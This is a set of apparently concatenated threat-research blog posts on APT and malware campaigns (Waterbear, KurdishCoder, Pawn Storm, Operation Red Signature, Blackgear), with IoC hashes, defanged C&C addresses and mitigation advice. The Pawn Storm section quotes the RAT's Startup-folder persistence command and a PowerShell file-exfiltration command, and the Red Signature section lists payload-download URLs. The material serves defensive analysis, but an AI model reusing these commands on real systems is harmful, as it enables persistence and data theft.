T1073
Uses modified legitimate DLL to load the malicious DLL
Process Injection
T1055
Injects the decrypted payload into svchost.exe process
Exfiltration
Exfiltration Over Command and Control Channel
T1041
Possibly sends collected data to attackers via C&C channel
Indicators of Compromise (IoCs)
SHA256
Detection Name
649675baef92381ffcdfa42e8959015e83c1ab1c7bbfd64635ce5f6f65efd651
BKDR_WATERBEAR.ZTGF
3909e837f3a96736947e387a84bb57e57974db9b77fb1d8fa5d808a89f9a401b
TROJ_WATERBEAR.ZTGD
fcfdd079b5861c0192e559c80e8f393b16ba419186066a21aab0294327ea9e58
TROJ_WATERBEAR.ZTGJ
3f26a971e393d7f6ce7bf4416abdbfa1def843a0cf74d8b7bb841ca90f5c9ed9
TROJ_WATERBEAR.ZTGH
abb91dfd95d11a232375d6b5cdf94b0f7afb9683fb7af3e50bcecdb2bd6cb035
TROJ_WATERBEAR.ZTGH
bda6812c3bbba3c885584d234be353b0a2d1b1cbd29161deab0ef8814ac1e8e1
TROJ_WATERBEAR.ZTGI
53402b662679f0bfd08de3abb064930af40ff6c9ec95469ce8489f65796e36c3
TROJ_WATERBEAR.ZTGH
f9f6bc637f59ef843bc939cb6be5000da5b9277b972904bf84586ea0a17a6000
TROJ_WATERBEAR.ZTGI
3442c076c8824d5da065616063a6520ee1d9385d327779b5465292ac978dec26
BKDR_WATERBEAR.ZTGD
7858171120792e5c98cfa75ccde7cba49e62a2aeb32ed62322aae0a80a50f1ea
TROJ64_WATERBEAR.ZTGI
acb2abc7fb44c2fdea0b65706d1e8b4c0bfb20e4bd4dcee5b95b346a60c6bd31
BKDR_WATERBEARENC.ZTGF
b9f3a3b9452a396c3ba0ce4a644dd2b7f494905e820e7b1c6dca2fdcce069361
BKDR64_WATERBEAR.ZTGD
7c0d2782a33debb65b488893705e71a001ea06c4eb4fe88571639ed71ac85cdd
BKDR_WATERBEARENC.ZTGH
c7c7b2270767aaa2d66018894a7425ba6192730b4fe2130d290cd46af5cc0b7b
BKDR_WATERBEARENC.ZTGI
7532fe7a16ba1db4d5e8d47de04b292d94882920cb672e89a48d07e77ddd0138
BKDR_WATERBEARENC.ZTGI
dea5c564c9d961ccf2ed535139fbfca4f1727373504f2972ac92acfaf21da831
BKDR_WATERBEARENC.ZTGI
05d0ab2fbeb7e0ba7547afb013d307d32588704daac9c12002a690e5c1cde3a4
BKDR64_WATERBEARENC.ZTGJ
39668008deb49a9b9a033fd01e0ea7c5243ad958afd82f79c1665fb73c7cfadf
BKDR_WATERBEARENC.ZTGD
Tags
Malware
|
APT & Targeted Attacks
|
Endpoints
|
Research
|
Network
In November 2019, we published a blog analyzing an exploit kit we named Capesand that exploited Adobe Flash and Microsoft Internet Explorer flaws.
During our analysis of the indicators of compromise (IoCs) in the deployed samples that were infecting the victim’s machines, we noticed some interesting characteristics: notably that these samples were making use of obfuscation tools that made them virtually undetectable.
After some data collection we found more than 300 samples that correlate to the mentioned indicators that were recently very active  our first detections occurred in August, with the campaign itself still ongoing (having occasional spikes in between).
We saw a rising usage of tools that provide fully-undetectable obfuscation capabilities – signifying that the authors behind the samples designed their malware variants to be as stealthy as possible.
We decided to name the potential campaign associated with these IoCs as “KurdishCoder”, based on the property name of an assembly module found in one of the samples.
We took a look at one of the samples captured from Capesand that was used to deploy the njRat malware – notably its main executable NotepadEx.
We found that were multiple layers of obfuscation using a combination of two tools: the .NET protectors ConfuserEx and Cassandra (CyaX).
Both of these tools are used in combination to provide an array of fully undetectable capabilities to the deployed njRat malware variant.
Examining the Capesand samples
The simplified diagram taken from the previous blog shows the combination of ConfuserEx and Cassandra via the second layer of obfuscation protection, which involves the DLL CyaX_Sharp Assembly (both CyaX_Sharp and CyaX are part of the Cassandra protector).
Figure 1.
The infection chain for Capesand that also shows the obfuscation mechanisms
For this particular sample, CyaX_Sharp is obfuscated with a customized version of ConfuserEx.
The following image shows an assembly module property that was generated for this sample.
Figure 2.
The generated assembly module property
The module’s property name is “KurdishCoderProducts”, with a value shown to be “ConfuserEx v1.0.0-custom”.
To understand where this value is coming from, let’s take a look at the open-source ConfuserEx tool to see how the values are created.
From there, we can establish a hypothesis as to their source.
A closer look at ConfuserEx’s functions
While ConfuserEx is able to apply multiple transformations to the target binary, we are interested in two particular functions that we can use for correlation:
Source code building.
ConfuserEx is an open-source tool with multiple versions hosted on Github.
By examining one of the community-supported versions, we can see there is a tool to build ConfuserEx from the command line.
This build command line has a function to update the final binary versions based on the last Git-tagged version.
However, if ConfuserEx is built outside Git, the version update tool will just generate the value “version-custom” as shown below.
Figure 3.
Code taken from a ConfuserEx version created outside GIT
Since the string “ConfuserEx v1.0.0-custom” is present in the module property: [module: KurdishCoderProducts("ConfuserEx v1.0.0-custom")]”, we can surmise that the version of ConfuserEx that was used for CyaX_Sharp was indeed built outside of Git.
2.
Watermarking
When ConfuserEx performs its obfuscation routine, one of the operations creates a watermark – a unique identifier within the software--that is present in the final binary.
The watermarking technique is implemented through the module attributes of the assembly.
The following source code screenshot shows how this is implemented.
Figure 4.
Code showing how the watermarking is performed via the module attributes of the assembly
From the previous code section, we can see the default attribute added by ConfuserEx is “ConfusedBy”.
If we test it using a sample binary, the following is generated:
Figure 5.
Testing a sample binary using ConfuserEx
There are two important aspects to this attribute: first, it is hardcoded as a string constant and second, its value is presented in clear text in the final binary as the following image shows.
Figure 6.
The default attribute shown in clear text in the final binary
We now have solid evidence that CyaX_Sharp was obfuscated using a modified version of ConfuserEx.
Next, let’s look for the attribute indicator, starting with the CyaX assembly used in the NotepadEx attack.
Cassandra Protector: CyaX
After inspection we noticed that this version of CyaX was similarly notable due to two characteristics.
First, the debug symbols paths were leaked -- suggesting a possible custom build which can be correlated with another modification applied to CyaX.
Figure 7.
The leaked debug symbols paths
The second indicator has to do with one of the methods of CyaX which was modified -- specifically the one injecting the binary in memory.
The following image shows the modified function name.
Figure 8.
The modified method which was renamed to Kirkuk, which is also a name of a city in Iraq
What other payloads are using KurdishCoder?
Analysis of some of the captured samples reveals the different payloads being used (as shown in the table below).
Note that this does not cover all the samples – it is possible that other payloads are being deployed as well.
Sample
Payload
KurdishCoderMainSample
KurdishCoder_CyaX_Sharp
CyaX_method_rename
CustomIncreaseX
phoenix_keylogger
Yes
Yes
Kirkuk
NotePadEx
Njrat
No
Yes
Kirkuk
QuickTranslation
Agent Tesla
Yes
Yes
Kurd
SandiwchGenerator
Agent Tesla
Yes
Yes
Kirkuk
SimpleGame
Remcos
Yes
Yes
Kirkuk
AnimalGames
Hawkeye Rebord Keylogger
Yes
Yes
Kurd
Table 1.
The different samples organized name, payload delivered and the fully-undetectable stages where the attribute “KurdishCoderProduction” is present
Cassandra Crypter
We think one of the possible sources of the customized ConfuserEx is the online service Cassandra Crypter, which offers two kinds of subscription plans: The Premium Plan and the Private Stub.
The Premium Plan requires payment and works automatically, while the Private Stub requires the user to contact the support from the service for further personalization.
Figure 9.
Cassandra Crypter’s subscription plans
The combination of ConfuserEx and CyaX (Cassandra protector) seems to be unique and customized based on the indicators mentioned earlier.
While we don’t have definitive evidence that the use of these tools are part of a single campaign, we think the analyzed samples are related to a specific campaign.
Note that the KurdishCoder indicator was spotted also by the Italian Computer Emergency Response Team - Pubblica Amministrazione (CERT-PA), which they reported as a single incident.
As with Capesand, we will be monitoring the use of the tools mentioned in this blog entry for any future developments and updates.
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Indicators of Compromise (IoCs)
Indicator
Attribution
Trend Micro Pattern Detection
068d32a43191dc0164b600b85a1621be0154504fd477167422ff4a8fb3406d73
AnimalGames
Backdoor.MSIL.BLADABINDI.QBR
07be156caac1157707ffe38266dc60abadc488226b4f41d67f23eac98dd917b0
CustomIncreaseX
Backdoor.MSIL.BLADABINDI.QBR
b00cc9a4292fc5cc4ae5371ea1615ec6e49ebaf061dc4eccde84a6f96d95747c
NotePadEx
Backdoor.MSIL.BLADABINDI.QBR
6755ce7a362ffecef805e4c54e1d5e201b6c6d561b997ebbd63a8d814ce6a53f
QuickTranslation
Backdoor.MSIL.BLADABINDI.QBR
8ff11efc1109073fdc49be93e1d100992314fd68ecdff2ba986107602ce75089
SandwichGenerator
Backdoor.MSIL.BLADABINDI.QBR
02f2369b58fbb2ba1df2c799b73842880a4874c32c1514a0d8956133be026ade
SimpleGame
Backdoor.
Win32.REMCOS.USMANEAGDZ
Tags
Mobile
|
APT & Targeted Attacks
|
Research
A defender who finds a simple remote access trojan (RAT) in the network won’t immediately think it was from an advanced persistent threat (APT) actor.
Likewise, brute force attacks on internet-facing services like email, Microsoft Autodiscover, SMB, LDAP, and SQL are so common that they may seem like background noise that can be ignored.
But in 2020, the notorious APT actor Pawn Storm used exactly these non-sophisticated attack methods to such an extent that their attacks may get lost in the noise.
In 2020 Pawn Storm spread simple Google Drive and IMAP Remote Access Trojans (RATs) to attack their usual targets, such as ministries of foreign affairs, embassies, the defense industry and the military.
The RATs were also sent to a wider net of targets including various industries around the world.
The group also performed widespread brute force attacks to steal credentials such as those of corporate email accounts, as evidenced by network probes we attribute to Pawn Storm and the loose way the actor abused compromised email accounts in malware and in sending spear-phishing emails.
Pawn Storm even hardcoded compromised military and government-related email addresses in their IMAP RAT malware to communicate with victims’ computers.
Recently, Norwegian authorities announced that Pawn Storm hacked the Norwegian parliament through brute force attacks.
As shown in incremental improvements, subsequent versions of the malware hint towards a learning curve of the malware author that is more typical for an inexperienced actor than for an advanced actor.
First, the RATs were so simple that they did not even take into account international keyboards.
This means it would be difficult for the attacker to enumerate the victims’ hard drives with files and folders that contain international characters.
This mistake was corrected swiftly, but it shows the relative inexperience of this particular Pawn Storm operator.
Later versions of the RAT malware started to use encryption, which could have been added right from the start.
The only secondary payload we observed was a simple keylogger that stores stolen information locally on the victims’ machines.
Attribution to Pawn Storm of these malware samples would be difficult with only the samples at hand.
Typically, a network defender would not attribute this kind of malware to an APT actor at all.
However, we have solid attribution for these samples based on our long-term monitoring of Pawn Storm’s activities.
Recap of recent Pawn Storm activities
Compromising accounts of users from the Middle East
Trend Micro has been closely and consistently monitoring the activities of Pawn Storm, and in March 2020, we released our latest research on the group.
In the aforementioned research paper, we shared that Pawn Storm heavily abuses compromised accounts — mainly in the Middle East — to send spear-phishing emails.
The abuse of compromised email accounts in the Middle East continued in 2020.
For example, in early December 2020 the group used a VPN service to connect to a compromised cloud server, then used the cloud server to connect to a commercial business email service provider.
The group then logged in to a compromised email account of a chicken farm in Oman, and then sent out credential phishing spam messages to high-profile targets around the world.
This shows that Pawn Storm is careful at obfuscating their tracks on multiple levels.
The abuse of various compromised email accounts in the Middle East started in May 2019 and continues today.
Since August 2020, they didn’t use these email addresses to only send spear-phishing emails, but also as a way to communicate with compromised systems in IMAP RATs.
Brute force attacks
We think that Pawn Storm compromises lots of email accounts through brute force attacks on internet-facing services like email, LDAP, Microsoft Autodiscover, SMB, and SQL.
For example, in May 2020, Pawn Storm scanned IP addresses worldwide, including IP addresses from the defense industry in Europe, on TCP port 445 and 1433, likely in an attempt to find vulnerable SMB and SQL servers or brute force credentials.
In August 2020, Pawn Storm also sent UDP probes to LDAP servers around the world from one of their dedicated IP addresses.
In 2020, Pawn Storm often tries to obfuscate these brute force attempts by routing their attack traffic over Tor and VPN servers.
Yet this is not always enough to hide these activities.
In a Microsoft article about brute-forcing Office365 credentials over Tor, Microsoft attributed the activities to Strontium, which is another name for Pawn Storm.
We wrote about related attacks in early 2020.
These brute force attacks started in 2019, and then we could firmly attribute them to Pawn Storm because we could cross-relate the extensive probing of Microsoft Autodiscover servers around the world with high-confidence indicators of the group’s more traditional attack methods (spear phishing and credential phishing).
To illustrate the simplicity of the malware in Pawn Storm’s recent spear-phishing attacks, we describe one example below:
Technical analysis of Google Drive RAT
Figure 1.
Spear phishing email from Pawn Storm – collected in August 2020.
Starting from August 2020, Pawn Storm has sent several spear phishing emails with a malicious RAR attachment.
Among the earliest samples we received were two almost identical RAR files that contained a file called info.exe.
Both versions of the info.exe files are self-extracting archives (SFX) that extract and execute two files: decrypt.exe and gdrive.exe.
We have:
c4a61b581890f575ba0586cf6d7d7d3e0c7603ca40915833d6746326685282b7 installing
decrypt.exe – 661d4a0d877bac9b813769a85c01bce274a77b29ccbd4b71e5b92df3c425b93b
gdrive.exe – cbd9cb7b69f864ce8bae983ececb7cf8627f9c17fdaba74bd39baa5cdf605f79
3fd45b9b33ff5b6363ba0013178572723b0a912deb8235a951aa3f0aa3142509 installing
decrypt.exe – 661d4a0d877bac9b813769a85c01bce274a77b29ccbd4b71e5b92df3c425b93b
gdrive.exe – 2060f1e108f5feb5790320c38931e3dc6c7224edf925bf6f1840351578bbf9cc
Decoy File
We noticed that the file decrypt.exe is a decoy file that will run once info.exe is executed.
The application will only show a message box wherein a user can type a password for decryption.
Checking the disassembly of this file reveals that it only shows another message box when a password is entered on the main application.
Figures 2-3.
The message box that decrypt.exe displays
After closing this application, the file gdrive.exe will be executed by the SFX archive.
The different versions of gdrive.exe are almost identical, with a minor addition to the file 2060f1e108f5feb5790320c38931e3dc6c7224edf925bf6f1840351578bbf9cc of base64 encoding on the victim’s id.
Figure 4.
Drive.exe code snippet showing comp_id
Figure 5.
Drive.exe code snippet showing comp_id and base64 encoding
Initial Run
The first thing this malware does is it copies itself to the startup directory for persistence.
It does this via cmd.exe with the following command:
move /Y  "{malware_location}"
"C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\gdrive.exe"
Every time the malware runs a command using cmd.exe, the standard output (STDOUT) of the executed command is piped and written to a Google Drive account with the following filename format:
{utcnow}_report_{victim’s id}
Figure 6.
Code snippet showing the execution of commands
The client key and token used to read and write the attacker’s Google Drive account is hardcoded on the malware itself.
Figures 7-8.
Code snippets showing client key and token
Sending back the information through Google Drive will allow the attacker to check if the machine that executed the malware was the intended victim they wanted to target.
Receiving commands and data exfiltration
Every 20 minutes, the bot checks for a file in Google Drive.
If a file with a corresponding filename format exist (cmd_{victim’s id}), it downloads that file and runs the contents as a batch file.
Figure 9.
Code snippets showing waiting for commands
Again, the STDOUT of the commands will be written back to Google Drive as a result.
This works as a reverse shell back to the attacker with Google Drive as the Command and Control (C&C) server.
The command file that the bot received from Google Drive will also be deleted once it is downloaded.
Figure 10.
Code snippets showing readFile
Using the “reverse shell” method mentioned above, the attacker can exfiltrate data/documents using the following commands:
powershell -command "[Convert]::ToBase64String([IO.File]::ReadAllBytes('{filename}')
Figure 11.
Code snippets showing the exfiltration of data
The secondary payload with the filename Google Drivemonitor.exe (0b94e123f6586967819fa247cdd58779b1120ef93fa1ea1de70dffc898054a09) is a keylogger.
The collected keystrokes are stored in the same directory from which the malware was executed.
Figure 12.
Code snippets showing keylogs
This secondary payload does not have any function to upload the collected keystrokes back to the attacker.
However, since the main malware acts as a “reverse shell,” the attacker can retrieve the collected keystrokes at a later time.
Eventually, the threat actor added improvements to the malware, like encryption.
Later the actor started to use IMAP RATs as well.
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Trend Micro recommends Trend MicroTM XDR for extensive monitoring across the connected layers of email, endpoints, cloud workloads, and networks.
Powered by advanced AI and expert security analytics for correlating data, XDR allows earlier detection and response and lessens alert fatigue for IT security teams.
We also offer Trend Micro Managed XDR, a 24/7 service that harnesses the skills of our expert Managed Detection and Response analysts for expert threat monitoring, correlation, and analysis.
Indicators of compromise
IP addresses
IP address
Description
Dates active
34.243.239[.
]199
Connects to email servers of compromised accounts.
IP address possibly compromised by Pawn Storm.
October 29, 2020 – December 8, 2020
74.208.228[.
]186
Connects to email servers of compromised accounts.
IP address possibly compromised by Pawn Storm.
October 15, 2020 – December 14, 2020
193.56.28[.
]25
Scans TCP port 445 and 1433
May 21 – May 26, 2020
195.191.235[.
]155
Scans UDP port 389
August 22, 2020
Files
SHA256
Filename
Description
Trend Micro Pattern Detection
Trend Micro Machine Learning Detection
c4a61b581890f575ba0586cf6d7d7d3e0c7603ca40915833d6746326685282b7
info.exe
Google Drive RAT
Trojan.MSIL.DRIVEOCEAN.A
Troj.
Win32.TRX.XXPE50FSX005
3fd45b9b33ff5b6363ba0013178572723b0a912deb8235a951aa3f0aa3142509
info.exe
Google Drive RAT
Trojan.MSIL.DRIVEOCEAN.A
Troj.
Win32.TRX.XXPE50FSX005
cbd9cb7b69f864ce8bae983ececb7cf8627f9c17fdaba74bd39baa5cdf605f79
gdrive.exe
Google Drive RAT
Trojan.MSIL.DRIVEOCEAN.A
Troj.
Win32.TRX.XXPE50FFF039
2060f1e108f5feb5790320c38931e3dc6c7224edf925bf6f1840351578bbf9cc
gdrive.exe
Google Drive RAT
Trojan.MSIL.DRIVEOCEAN.A
Troj.
Win32.TRX.XXPE50FFF039
f364729450cb91b2a4c4e378c08e555137028c63480a221bb70e7e179a03f5cc
gdrive.exe
Google Drive RAT
Trojan.MSIL.DRIVEOCEAN.A
N/A
e3894693eff6a2ae4fa8a8134b846c2acaf5649cd61e71b1139088d97e54236d
info.exe
IMAP RAT
Trojan.MSIL.OCEANMAP.A
Troj.
Win32.TRX.XXPE50FSX005
83fbd76d298253932aa3e3a9bc48c201fe0b7089f0a7803e68f41792c05c5279
decrypt_v2.4.exe
IMAP RAT
Trojan.MSIL.OCEANMAP.A
Troj.
Win32.TRX.XXPE50FSX005
fe00bd6fba209a347acf296887b10d2574c426fa962b6d4d94c34b384d15f0f1
email.exe
IMAP RAT
Trojan.MSIL.OCEANMAP.A
Troj.
Win32.TRX.XXPE50FFF039
b61e0f68772f3557024325f3a05e4edb940dbbe380af00f3bdaaaeabda308e72
igmtSX.exe
IMAP RAT
Trojan.MSIL.OCEANMAP.A
Troj.
Win32.TRX.XXPE50FFF039
c8b6291fc7b6339d545cbfa99256e26de26fff5f928fef5157999d121fe46135
igmtSX.exe
IMAP RAT
Trojan.MSIL.OCEANMAP.A
Troj.
Win32.TRX.XXPE50FFF039
50b000a7d61885591ba4ec9df1a0a223dbceb1ac2facafcef3d65c8cbbd64d46
email.exe
IMAP RAT
Trojan.MSIL.OCEANMAP.A
Troj.
Win32.TRX.XXPE50FFF039
3384a9ef3438bf5ec89f268000cc7c83f15e3cdf746d6a93945add300423f756
email.exe
IMAP RAT
Trojan.MSIL.OCEANMAP.A
Troj.
Win32.TRX.XXPE50FFF039
abf0c2538b2f9d38c98b422ea149983ca95819aa6ebdac97eae777ea8ba4ca8c
email.exe
IMAP RAT
Trojan.MSIL.OCEANMAP.A
Troj.
Win32.TRX.XXPE50FFF039
faf8db358e5d3dbe2eb9968d8b19f595f45991d938427124161f5ed45ac958d5
email.exe
IMAP RAT
Trojan.MSIL.OCEANMAP.A
Troj.
Win32.TRX.XXPE50FFF039
4c1b8d070885e92d61b72dc9424d9b260046f83daf00d93d3121df9ed669a5f9
email.exe
IMAP RAT
Trojan.MSIL.OCEANMAP.A
Troj.
Win32.TRX.XXPE50FFF039
770206424b8def9f6817991e9a5e88dc5bee0adb54fc7ec470b53c847154c22b
email.exe
IMAP RAT
Trojan.MSIL.OCEANMAP.A
Troj.
Win32.TRX.XXPE50FFF039
6fb2facdb906fc647ab96135ce2ca7434476fb4f87c097b83fd1dd4e045d4e47
email.exe
IMAP RAT
Trojan.MSIL.OCEANMAP.A
Troj.
Win32.TRX.XXPE50FFF039
31577308ac62fd29d3159118d1f552b28a56a9c039fef1d3337c9700a3773cbf
photos.exe
IMAP RAT
Trojan.MSIL.OCEANMAP.A
N/A
661d4a0d877bac9b813769a85c01bce274a77b29ccbd4b71e5b92df3c425b93b
decrypt.exe
decoy file
N/A
N/A
0b94e123f6586967819fa247cdd58779b1120ef93fa1ea1de70dffc898054a09
Google Drivemonitor.exe
keylogger
TrojanSpy.MSIL.KEYLOGGR.WLDG
N/A
Tags
Articles, News, Reports
|
APT & Targeted Attacks
|
Research
Together with our colleagues at IssueMakersLab, we uncovered Operation Red Signature, an information theft-driven supply chain attack targeting organizations in South Korea.
We discovered the attacks around the end of July, while the media reported the attack in South Korea on August 6.
The threat actors compromised the update server of a remote support solutions provider to deliver a remote access tool called 9002 RAT to their targets of interest through the update process.
They carried this out by first stealing the company’s certificate then using it to sign the malware.
They also configured the update server to only deliver malicious files if the client is located in the range of IP addresses of their target organizations.
9002 RAT also installed additional malicious tools: an exploit tool for Internet Information Services (IIS) 6 WebDav (exploiting CVE-2017-7269) and an SQL database password dumper.
These tools hint at how the attackers are also after data stored in their target’s web server and database.
Figure 1.
Operation Red Signature’s attack chain
Here’s how Operation Red Signature works:
The code-signing certificate from the remote support solutions provider is stolen.
It’s possible that the certificate was stolen as early as April 2018, as we found a ShiftDoor malware (4ae4aed210f2b4f75bdb855f6a5c11e625d56de2) on April 8 that was signed with the stolen certificate.
Malicious update files are prepared, signed with the stolen certificate, and uploaded to the attacker’s server (207[.]148[.]94[.
]157).
The update server of the company is hacked.
The update server is configured to receive an update.zip file from the attackers’ server if a client is connecting from a specific range of IP addresses belonging to their targeted organizations.
The malicious update.zip file is sent to the client when the remote support program is executed.
The remote support program recognizes the update files as normal and executes the 9002 RAT malware inside it.
9002 RAT downloads and executes additional malicious files from the attackers’ server.
Technical analysis
The update.zip file contains an update.ini file, which has the malicious update configuration that specifies the remote support solution program to download file000.zip and file001.zip and extract them as rcview40u.dll and rcview.log to the installation folder.
The program will then execute rcview40u.dll, signed with the stolen certificate, with Microsoft register server (regsvr32.exe).
This dynamic-link library (DLL) is responsible for decrypting the encrypted rcview.log file and executing it in memory.
9002 RAT is the decrypted rcview.log payload, which connects to the command-and-control (C&C) server at 66[.]42[.]37[.
]101.
Figure 2.
Contents of the malicious update configuration
Figure 3.
How the compromised update process launches the 9002 RAT malware
Figure 4.
Known 9002 RAT string pattern inside the decrypted payload of the rcview.log file
Correlating 9002 RAT
Delving into 9002 RAT, we found that it was compiled on July 17, 2018, and that the configuration files inside update.zip were created on July 18.
Our analysis of an update log file we found reveals the remote support program’s update process started around 13:35 on July 18, with the 9002 RAT being downloaded and launched.
We also saw the RAT file used for this specific attack was set to be inactive in August, so we can construe that the RAT’s activity was rather short-lived (from July 18 to July 31).
Figure 5.
Compilation timestamp on 9002 RAT sample (top), timestamp of the malicious configuration (center), and snapshot of the program’s update log (bottom)
Figure 6.
Code snippet showing 9002 RAT checking the system time and setting itself to sleep in August 2018
Additional malware tools
The 9002 RAT also serves as a springboard for delivering additional malware.
Most of these are downloaded as files compressed with the Microsoft cabinet format (.cab).
This is most likely done to avoid detection by antivirus (AV) solutions.
Here’s a list of files that 9002 RAT retrieves and delivers to the affected system:
Filename
Tool
Purpose
dsget.exe
DsGet
View active directory objects
dsquery.exe
DsQuery
Search for active directory objects
sharphound.exe
SharpHound
Collect active directory information
aio.exe
All In One (AIO)
Publicly available hack tool
ssms.exe
SQL Password dumper
Dump password from SQL database
printdat.dll
RAT (PlugX variant)
Remote access tool
w.exe
IIS 6 WebDav Exploit Tool
Exploit tool for CVE-2017-7269 (IIS 6)
Web.exe
WebBrowserPassView
Recover password stored by browser
smb.exe
Scanner
Scans the system’s Windows version and computer name
m.exe
Custom Mimikatz (including 32bit / 64bit file)
Verify computer password and active directory credentials
Figure 7.
Downloaded Web.ex_ cabinet file (left) and decompressed Web.exe file (right)
One of the downloaded files printdat.dll, which is another RAT.
It is a variant of PlugX malware, and connects to the same C&C server (66[.]42[.]37[.
]101).
Figure 8.
Internal PlugX date dword value inside the printdat.dll file
Mitigating supply chain attacks
Supply chain attacks don’t just affect users and businesses — they exploit the trust between vendors and its clients or customers.
By trojanizing software/applications or manipulating the infrastructures or platforms that run them, supply chain attacks affects the integrity and security of the goods and services that organizations provide.
In healthcare, for instance, where the industry heavily relies on third-party and cloud-based services, supply chain attacks can risk the privacy of personally identifiable data and intellectual property, disrupt hospital operations, and even endanger patient health.
And when stacked up with regulations such as the EU General Data Protection and Regulation (GDPR), the impact can be exacerbated.
Here are some best practices:
Oversee third-party products and services; apart from ensuring the security of the organization’s own online premises (e.g., patching, authentication mechanisms), security controls must also be in place in third-party applications being used.
Develop a proactive incident response strategy: Supply chain attacks are often targeted; organizations must be able to fully understand, manage, and monitor the risks involved in third-party vendors.
Proactively monitor the network for anomalous activities; firewalls and intrusion detection and prevention systems help mitigate network-based threats.
Enforce the principle of least privilege: Network segmentation, data categorization, restriction of system administration tools, and application control help deter lateral movement and minimize data being exposed.
Trend Micro Solutions
The Trend Micro™ Deep Discovery™ solution provides detection, in-depth analysis, and proactive response to today’s stealthy malware and targeted attacks in real time.
It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack life cycle, allowing it to detect threats even without any engine or pattern update.
Trend Micro endpoint solutions such as the Smart Protection Suites and Worry-Free Business Security solutions can protect users and businesses from threats by detecting malicious files and blocking all related malicious URLs.
Indicators of Compromise (IoCs):
Related hashes (SHA-256):
0703a917aaa0630ae1860fb5fb1f64f3cfb4ea8c57eac71c2b0a407b738c4e19 (ShiftDoor) — detected by Trend Micro as BKDR_SETHC.D
c14ea9b81f782ba36ae3ea450c2850642983814a0f4dc0ea4888038466839c1e (aio.exe) — HKTL_DELOG
a3a1b1cf29a8f38d05b4292524c3496cb28f78d995dfb0a9aef7b2f949ac278b (m.exe) — HKTL_MIMIKATZ
9415ca80c51b2409a88e26a9eb3464db636c2e27f9c61e247d15254e6fbb31eb (printdat.dll) — TSPY_KORPLUG.AN
52374f68d1e43f1ca6cd04e5816999ba45c4e42eb0641874be25808c9fe15005 (rcview.log) — TROJ_SIDELOADR.ENC
bcfacc1ad5686aee3a9d8940e46d32af62f8e1cd1631653795778736b67b6d6e (rcview40u.dll) — TROJ_SIDELOADR.A
279cf1773903b7a5de63897d55268aa967a87f915a07924c574e42c9ed12de30 (sharphound.exe) — HKTL_BLOODHOUND
e5029808f78ec4a079e889e5823ee298edab34013e50a47c279b6dc4d57b1ffc (ssms.exe) — HKTL_PASSDUMP
e530e16d5756cdc2862b4c9411ac3bb3b113bc87344139b4bfa2c35cd816e518 (w.exe) — TROJ_CVE20177269.MOX
28c5a6aefcc57e2862ea16f5f2ecb1e7df84b68e98e5814533262595b237917d (Web.exe) — HKTL_BROWSERPASSVIEW.GA
URLs related to the malicious update file:
hxxp://207[.]148[.]94[.
]157/update/rcv50/update.zip
hxxp://207[.]148[.]94[.
]157/update/rcv50/file000.zip
hxxp://207[.]148[.]94[.
]157/update/rcv50/file001.zip
URLs related to additionally downloaded malicious files:
hxxp://207[.]148[.]94[.
]157/aio.exe
hxxp://207[.]148[.]94[.
]157/smb.exe
hxxp://207[.]148[.]94[.
]157/m.ex_
hxxp://207[.]148[.]94[.
]157/w
hxxp://207[.]148[.]94[.
]157/Web.ex_
Related C&C server (9002 RAT and PlugX variant):
66[.]42[.]37[.
]101
Tags
Network
|
APT & Targeted Attacks
|
Research
Blackgear (also known as Topgear and Comnie) is a cyberespionage campaign dating back to 2008, at least based on the Protux backdoor used by its operators.
It targets organizations in Japan, South Korea, and Taiwan, leveling its attacks on public sector agencies and telecommunications and other high-technology industries.
In 2016, for instance, we found their campaigns attacking Japanese organizations with various malware tools, notably the Elirks backdoor.
Blackgear’s operators are well-organized, developing their own tools, which we observed to have been recently fine-tuned, based on their latest attacks.
A notable characteristic of Blackgear is the degree to which its attacks are taken to evade detection, abusing blogging, microblogging, and social media services to hide its command-and-control (C&C) configuration.
Compared to when C&C information is embedded within the malware, where it’s preset and can thus be easily blocked, this tactic lets Blackgear’s operators to quickly change C&C servers as needed.
It can, in turn, prolong the campaign’s foothold in the system and enable attackers to carry out further lateral movement.
Analyzing the Marade downloader (detected by Trend Micro as TSPY_MARADE.ZTBC) and the version of Protux (BKDR_PROTUX.ZTBC) employed by Blackgear’s latest campaigns, we found their encrypted configurations on blog and social media posts (see Figure 1).
This can be an indication that these malware tools were developed by the same group.
Figure 1.
Marade’s encrypted configuration on a Facebook post
Figure 2.
Infection chain of Blackgear’s attack
Attack chain
To paint a bigger picture of Blackgear’s attacks, we correlated the tools and tactics they used against their targets.
Here’s a summary of Blackgear’s latest campaign:
Use a decoy document or fake installer file, sent via spam email to lure a potential victim into clicking it.
The decoy document will extract the Marade downloader.
It drops itself in the machine’s Temp folder and increases its file size to over 50MB in order to bypass traditional sandbox solutions.
Marade will check if the infected host can connect to the internet and if it is installed with anti-virus (AV) software.
If the affected system can connect online and doesn’t have AV software, Marade will connect to a Blackgear-controlled public blog or social media post to retrieve an encrypted C&C configuration.
Otherwise, Marade will use the C&C information embedded in its code.
The encrypted strings will pose as a magnet link to keep its malicious traffic from being detected by AV software.
Marade will then decrypt the encrypted strings and retrieve the C&C server information.
The C&C server will send Protux to the victim’s host and execute it.
Protux, a known backdoor, is executed by abusing the rundll32 dynamic-link library (DLL).
It tests the host’s network, retrieves the C&C server from another blog, and uses the RSA algorithm to generate the session key and send information to the C&C server.
Blackgear’s malware tools are delivered to targets using RAR self-extracting executable (SFX) files or office Visual Basic Script (VBScript) to create a decoy document.
Below is a screenshot of the SFX files and document used by the latest campaigns:
Figure 3.
Contents of malicious SFX file used by Blackgear, posing as a Flash Player installer
Figure 4.
Malicious document used by Blackgear (top) and how VBScript is used to execute Marade (bottom)
Figure 5.
Encrypted configurations of Protux (top) and Marade (bottom) in the same blog post
Correlating Marade and Protux
The encrypted configurations of Marade and Protux can both be found on a single blog post.
As shown in Figure 5, the strings highlighted in red function as a search tag to identify the location of the configuration information; those highlighted in orange pertain to the encrypted configuration that Protux will retrieve.
In Blackgear’s previous campaigns, Protux’s configuration format had to be changed to another version.
For instance, Protux’s older iteration will look for the “++a++” tag, as shown in Figure 5.
The format used by Protux’s latest version is now similar to Marade’s, as shown in Figure 6.
Figure 6.
Protux’s encrypted configuration on a public blog (note the six magnet URLs; the third is Protux’s latest configuration format)
Reverse analysis of Protux’s latest version also allowed us to determine how to decrypt the C&C information, which is done in the Python code shown below.
This can also be used by researchers, system administrators, and information security professionals when decrypting Protux’s latest version.
#!/usr/bin/env python2
